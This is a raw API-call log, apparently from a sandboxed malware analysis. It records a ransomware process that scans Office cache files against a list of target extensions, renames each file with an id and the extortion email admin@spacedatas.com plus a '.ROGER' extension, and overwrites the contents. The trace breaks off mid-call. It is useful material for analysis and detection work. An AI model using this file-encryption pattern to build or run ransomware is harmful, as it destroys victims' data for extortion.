lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.094] lstrlenW (lpString=".7z") returned 3 [0042.094] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.094] lstrlenW (lpString=".dbf") returned 4 [0042.094] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.094] lstrlenW (lpString=".1cd") returned 4 [0042.094] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.094] lstrlenW (lpString=".jpg") returned 4 [0042.094] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.094] lstrlenW (lpString=".doc") returned 4 [0042.094] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.094] lstrlenW (lpString=".docx") returned 5 [0042.094] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.094] lstrlenW (lpString=".pdf") returned 4 [0042.095] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.095] lstrlenW (lpString=".xls") returned 4 [0042.095] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.095] lstrlenW (lpString=".xlsx") returned 5 [0042.095] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.095] lstrlenW (lpString=".ppt") returned 4 [0042.095] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.095] lstrlenW (lpString=".zip") returned 4 [0042.095] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.095] lstrlenW (lpString=".rar") returned 4 [0042.095] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.095] lstrlenW (lpString=".bz2") returned 4 [0042.095] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.095] lstrlenW (lpString=".7z") returned 3 [0042.095] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.095] lstrlenW (lpString=".dbf") returned 4 [0042.095] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.095] lstrlenW (lpString=".1cd") returned 4 [0042.095] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.095] lstrlenW (lpString=".jpg") returned 4 [0042.095] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.095] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0042.095] lstrlenW (lpString="Proof.cab") returned 9 [0042.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0042.246] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=13642474) returned 1 [0042.246] CloseHandle (hObject=0x388) returned 1 [0042.246] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0042.246] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.246] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0042.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0042.725] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.726] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.726] ReadFile (in: hFile=0x388, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.871] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.875] ReadFile (in: hFile=0x388, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.031] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.032] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.032] ReadFile (in: hFile=0x388, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.135] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.135] WriteFile (in: hFile=0x388, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0043.737] SetEndOfFile (hFile=0x388) returned 1 [0043.737] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0043.740] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.740] WriteFile (in: hFile=0x388, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.741] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.741] WriteFile (in: hFile=0x388, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.741] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.741] WriteFile (in: hFile=0x388, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.743] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0043.743] CloseHandle (hObject=0x388) returned 1 [0045.716] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0045.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.717] lstrlenW (lpString=".doc") returned 4 [0045.717] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString=".docx") returned 5 [0045.717] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.717] lstrlenW (lpString=".pdf") returned 4 [0045.717] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString=".xls") returned 4 [0045.717] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString=".xlsx") returned 5 [0045.717] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.717] lstrlenW (lpString=".ppt") returned 4 [0045.717] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.717] lstrlenW (lpString=".zip") returned 4 [0045.717] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString=".rar") returned 4 [0045.717] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString=".bz2") returned 4 [0045.717] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.717] lstrlenW (lpString=".7z") returned 3 [0045.717] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.717] lstrlenW (lpString=".dbf") returned 4 [0045.717] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.717] lstrlenW (lpString=".1cd") returned 4 [0045.717] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.718] lstrlenW (lpString=".jpg") returned 4 [0045.718] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.718] lstrlenW (lpString=".doc") returned 4 [0045.718] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString=".docx") returned 5 [0045.718] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.718] lstrlenW (lpString=".pdf") returned 4 [0045.718] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString=".xls") returned 4 [0045.718] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString=".xlsx") returned 5 [0045.718] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.718] lstrlenW (lpString=".ppt") returned 4 [0045.718] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.718] lstrlenW (lpString=".zip") returned 4 [0045.718] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString=".rar") returned 4 [0045.718] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString=".bz2") returned 4 [0045.718] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.718] lstrlenW (lpString=".7z") returned 3 [0045.718] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.718] lstrlenW (lpString=".dbf") returned 4 [0045.718] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.718] lstrlenW (lpString=".1cd") returned 4 [0045.718] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.719] lstrlenW (lpString=".jpg") returned 4 [0045.719] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.719] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0045.719] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0045.719] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0045.719] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2507776) returned 1 [0045.719] CloseHandle (hObject=0x388) returned 1 [0045.719] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0045.719] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.719] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0045.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0045.720] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.720] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.720] ReadFile (in: hFile=0x388, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.722] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.722] ReadFile (in: hFile=0x388, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.729] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.729] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.729] ReadFile (in: hFile=0x388, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.745] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.745] WriteFile (in: hFile=0x388, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0046.015] SetEndOfFile (hFile=0x388) returned 1 [0046.015] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0046.015] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.015] WriteFile (in: hFile=0x388, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.017] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.017] WriteFile (in: hFile=0x388, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.025] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.025] WriteFile (in: hFile=0x388, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.027] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0046.027] CloseHandle (hObject=0x388) returned 1 [0046.028] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.028] lstrlenW (lpString=".doc") returned 4 [0046.028] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.028] lstrlenW (lpString=".docx") returned 5 [0046.028] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.028] lstrlenW (lpString=".pdf") returned 4 [0046.028] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.028] lstrlenW (lpString=".xls") returned 4 [0046.028] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.028] lstrlenW (lpString=".xlsx") returned 5 [0046.028] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.028] lstrlenW (lpString=".ppt") returned 4 [0046.028] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.028] lstrlenW (lpString=".zip") returned 4 [0046.028] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.028] lstrlenW (lpString=".rar") returned 4 [0046.028] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.028] lstrlenW (lpString=".bz2") returned 4 [0046.028] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.028] lstrlenW (lpString=".7z") returned 3 [0046.028] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.028] lstrlenW (lpString=".dbf") returned 4 [0046.028] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString=".1cd") returned 4 [0046.029] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString=".jpg") returned 4 [0046.029] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString=".doc") returned 4 [0046.029] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.029] lstrlenW (lpString=".docx") returned 5 [0046.029] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.029] lstrlenW (lpString=".pdf") returned 4 [0046.029] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.029] lstrlenW (lpString=".xls") returned 4 [0046.029] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.029] lstrlenW (lpString=".xlsx") returned 5 [0046.029] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.029] lstrlenW (lpString=".ppt") returned 4 [0046.029] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString=".zip") returned 4 [0046.029] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.029] lstrlenW (lpString=".rar") returned 4 [0046.029] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.029] lstrlenW (lpString=".bz2") returned 4 [0046.029] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.029] lstrlenW (lpString=".7z") returned 3 [0046.029] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString=".dbf") returned 4 [0046.029] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.029] lstrlenW (lpString=".1cd") returned 4 [0046.030] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.030] lstrlenW (lpString=".jpg") returned 4 [0046.030] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.030] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0046.030] lstrlenW (lpString="DW20.EXE") returned 8 [0046.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.495] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=838536) returned 1 [0046.495] CloseHandle (hObject=0x340) returned 1 [0046.495] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0046.496] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.496] SetFilePointerEx (in: hFile=0x340, 